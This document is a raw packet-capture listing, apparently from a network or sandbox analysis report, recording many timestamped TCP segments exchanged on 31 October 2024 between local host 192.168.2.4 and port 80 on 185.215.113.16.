Oct 31, 2024 03:03:31.412354946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.412421942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412467003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.412478924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412489891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412498951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.412538052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438185930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438220978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438241005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438246012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438255072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438282967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438294888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438306093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438318968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438330889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438333035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438364983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438364983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438380003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438393116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438410997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438412905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438424110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438432932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438456059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438502073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438513994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438548088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438574076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438585997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438596010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438620090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438657999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438671112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438683987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438698053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438700914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438720942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438755035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438796997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438805103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438816071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438834906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438847065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.438854933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.438883066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.482127905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482141972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482152939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482180119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.482276917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482287884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482299089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482310057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482320070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.482321978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482333899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.482348919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.482369900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488344908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488359928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488372087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488390923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488403082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488404989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488415956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488420010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488456964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488475084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488485098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488501072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488511086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488519907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488539934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488540888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488552094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488586903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488691092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488702059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488712072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488730907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488733053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488756895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488780022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488791943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488804102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488836050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488859892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488878965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488914967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488926888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488964081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.488986969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.488997936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489006996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489027977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.489048958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.489171028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489181995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489192963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489206076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489216089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489218950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.489233017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.489366055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489377975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489389896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489408016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.489413023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.489443064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531016111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531028986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531039953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531052113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531066895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531102896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531224012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531245947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531255007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531265974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531272888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531332016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531335115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531344891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531356096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531378031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.531393051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.531399965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.534317970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.556725025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557154894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557215929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557226896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557239056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557249069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557259083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557270050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557272911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557281971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557298899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557316065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557323933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557328939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557364941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557413101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557471991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557483912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557495117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557522058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557545900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557594061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557696104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557708025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557718039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557740927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557760954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557773113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557779074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557791948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557804108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557817936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557843924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.557849884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557859898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557872057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557881117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557893038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.557917118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.600936890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.601145029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601160049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601171017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601181984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601214886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.601239920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601248026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.601260900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601272106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601280928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.601284981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.601319075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.602770090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.603360891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607383966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607404947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607415915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607425928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607436895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607460022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607481956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607698917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607736111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607745886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607784033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607788086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607800007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607810974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607834101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607850075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607853889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.607861996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.607906103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608017921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608028889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608038902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608051062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608064890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608089924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608091116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608129025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608139992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608156919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608166933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608176947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608200073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608325005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608336926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608347893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608360052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608370066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608382940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608473063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608483076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608493090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608505011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608520031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608541012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608613968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608625889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608634949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.608658075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.608681917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.649853945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.649868011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.649878979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.649979115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.649990082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650000095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650023937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.650027037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650129080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650136948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650154114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.650165081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650173903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.650228024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.675929070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.675942898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.675954103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.675973892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.675983906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.675993919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676001072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676009893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676022053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676033020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676040888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676063061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676070929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676146030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676156044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676177979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676194906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676230907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676242113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676304102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676320076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676330090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676340103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676361084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676373005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676372051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676378965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676412106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676533937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676543951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676553011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676582098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676645041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676655054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676666021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676676035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676687956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676719904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676745892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676763058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676774025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676784992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676789045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676800013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.676817894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.676846027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.720118046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720133066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720144033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720186949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720204115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720212936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.720213890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720226049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720237017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720247030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.720248938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.720263004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.720284939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726259947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726299047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726310968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726358891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726361990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726376057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726434946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726666927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726677895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726687908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726705074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726715088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726739883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726747036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726769924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726769924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726792097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726823092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726834059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726870060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726929903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726941109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726949930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.726975918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.726990938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727054119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727065086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727080107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727091074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727098942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727108002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727111101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727132082 CET	49744	80	192.168.2.4	185.215.113.16
